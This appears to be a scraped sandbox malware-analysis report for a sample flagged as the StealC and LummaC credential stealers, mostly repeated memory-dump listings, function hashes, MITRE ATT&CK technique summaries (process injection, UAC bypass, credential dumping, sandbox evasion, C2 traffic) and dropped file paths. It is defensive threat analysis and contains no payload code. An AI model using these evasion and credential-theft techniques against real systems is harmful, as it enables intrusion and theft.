Associated: 00000003.00000002.1874187219.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874391107.0000000000407000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874473877.000000000040A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874504663.0000000000422000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874525740.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874545827.0000000000424000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874545827.000000000042D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874588246.0000000000437000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874608603.0000000000439000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874630917.0000000000442000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874651753.0000000000449000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874675195.000000000045F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874696906.0000000000470000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874717602.000000000047E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874738679.0000000000482000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874757551.0000000000483000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874776380.0000000000485000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874796837.0000000000491000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874817708.000000000049A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874836376.000000000049B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874855882.00000000004A0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874874204.00000000004A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874893215.00000000004A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874916305.00000000004B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874935582.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874954540.00000000004BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874974618.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874993589.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875012156.00000000004CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875030690.00000000004CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875052531.00000000004D3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875072868.00000000004E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875095037.00000000004E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875114597.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875133813.00000000004E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875153321.00000000004F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875174137.00000000004F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875203060.000000000052D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875221772.000000000052E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875239913.000000000052F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875239913.0000000000537000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875279036.0000000000546000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875297682.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2a0000_3OJIEMQOE0U9W5K609DU0.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0278bd54a2fc939eb43036bfad47f2f9426b6415fecf479d0f883b253df7e69a
Instruction ID: bc4482a89575fb52ed7661a59cd657921a55984db74fa19b48d99a3fdbd3256d
Opcode Fuzzy Hash: 0278bd54a2fc939eb43036bfad47f2f9426b6415fecf479d0f883b253df7e69a
Instruction Fuzzy Hash: 09C04CB84241099FDB165F14C844ABE7769EB25711F114518AEC142650D6361C34DE15

Non-executed Functions

Function 002ADCB7 Relevance: .3, Instructions: 290COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1874118628.00000000002AA000.00000040.00000001.01000000.00000006.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000003.00000002.1874053119.00000000002A0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874076704.00000000002A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874097974.00000000002A6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874141025.00000000002B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874165567.00000000002B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874187219.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874391107.0000000000407000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874473877.000000000040A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874504663.0000000000422000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874525740.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874545827.0000000000424000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874545827.000000000042D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874588246.0000000000437000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874608603.0000000000439000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874630917.0000000000442000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874651753.0000000000449000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874675195.000000000045F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874696906.0000000000470000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874717602.000000000047E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874738679.0000000000482000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874757551.0000000000483000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874776380.0000000000485000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874796837.0000000000491000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874817708.000000000049A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874836376.000000000049B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874855882.00000000004A0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874874204.00000000004A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874893215.00000000004A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874916305.00000000004B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874935582.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874954540.00000000004BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874974618.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874993589.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875012156.00000000004CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875030690.00000000004CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875052531.00000000004D3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875072868.00000000004E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875095037.00000000004E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875114597.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875133813.00000000004E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875153321.00000000004F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875174137.00000000004F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875203060.000000000052D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875221772.000000000052E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875239913.000000000052F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875239913.0000000000537000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875279036.0000000000546000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875297682.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2a0000_3OJIEMQOE0U9W5K609DU0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4721e25457032d00cea300cd4f271558a339d5fa4fdba14b237941e5a8e6d6b1
Instruction ID: a9edd23dc59b131dca495980af7c96d54f9e3f25923f9efaf7c84616b34402b6
Opcode Fuzzy Hash: 4721e25457032d00cea300cd4f271558a339d5fa4fdba14b237941e5a8e6d6b1
Instruction Fuzzy Hash: 3391E07252825A8FCB01CF35C5012EF37E0FB57320F29456AE84797E12DAB25D22DB89

Function 002AE729 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1874118628.00000000002AA000.00000040.00000001.01000000.00000006.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000003.00000002.1874053119.00000000002A0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874076704.00000000002A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874097974.00000000002A6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874141025.00000000002B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874165567.00000000002B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874187219.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874391107.0000000000407000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874473877.000000000040A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874504663.0000000000422000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874525740.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874545827.0000000000424000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874545827.000000000042D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874588246.0000000000437000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874608603.0000000000439000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874630917.0000000000442000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874651753.0000000000449000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874675195.000000000045F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874696906.0000000000470000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874717602.000000000047E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874738679.0000000000482000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874757551.0000000000483000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874776380.0000000000485000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874796837.0000000000491000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874817708.000000000049A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874836376.000000000049B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874855882.00000000004A0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874874204.00000000004A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874893215.00000000004A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874916305.00000000004B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874935582.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874954540.00000000004BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874974618.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874993589.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875012156.00000000004CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875030690.00000000004CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875052531.00000000004D3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875072868.00000000004E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875095037.00000000004E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875114597.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875133813.00000000004E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875153321.00000000004F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875174137.00000000004F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875203060.000000000052D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875221772.000000000052E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875239913.000000000052F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875239913.0000000000537000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875279036.0000000000546000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875297682.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2a0000_3OJIEMQOE0U9W5K609DU0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd8e72be6d25057211b692b86893c57842fcacf8f25cb94dd5478adf9d897094
Instruction ID: 6d3bd89a8951f1faaf3b2405fc5a8a1ef36833c8b0e799067a647f5a1e44891f
Opcode Fuzzy Hash: bd8e72be6d25057211b692b86893c57842fcacf8f25cb94dd5478adf9d897094
Instruction Fuzzy Hash: A5217AB112C705DFD755AEA8D8C572EB7E4FF09300F22892CD6D186690EA7458A0DF46

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report w23Vg439U1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3OJIEMQOE0U9W5K609DU0.exe.log

C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe

C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Windows Analysis Report
w23Vg439U1.exe

Function 00432E09 Relevance: 4.6, APIs: 3, Instructions: 104
registryCOMMON

Function 00424DD2 Relevance: 1.6, APIs: 1, Instructions: 144
libraryCOMMON

Function 004287AA Relevance: 1.6, APIs: 1, Instructions: 136
fileCOMMON

Function 004287D8 Relevance: 1.6, APIs: 1, Instructions: 105
fileCOMMON

Function 0042880C Relevance: 1.6, APIs: 1, Instructions: 96
fileCOMMON

Function 00428B4F Relevance: 1.6, APIs: 1, Instructions: 72
fileCOMMON

Function 04BE0D41 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Function 04BE0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04BE1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Function 04BE1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 00428B8E Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Function 00428BA9 Relevance: 1.6, APIs: 1, Instructions: 50
fileCOMMON

Function 04BE1301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Function 04BE1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 00428BC7 Relevance: 1.5, APIs: 1, Instructions: 43
fileCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre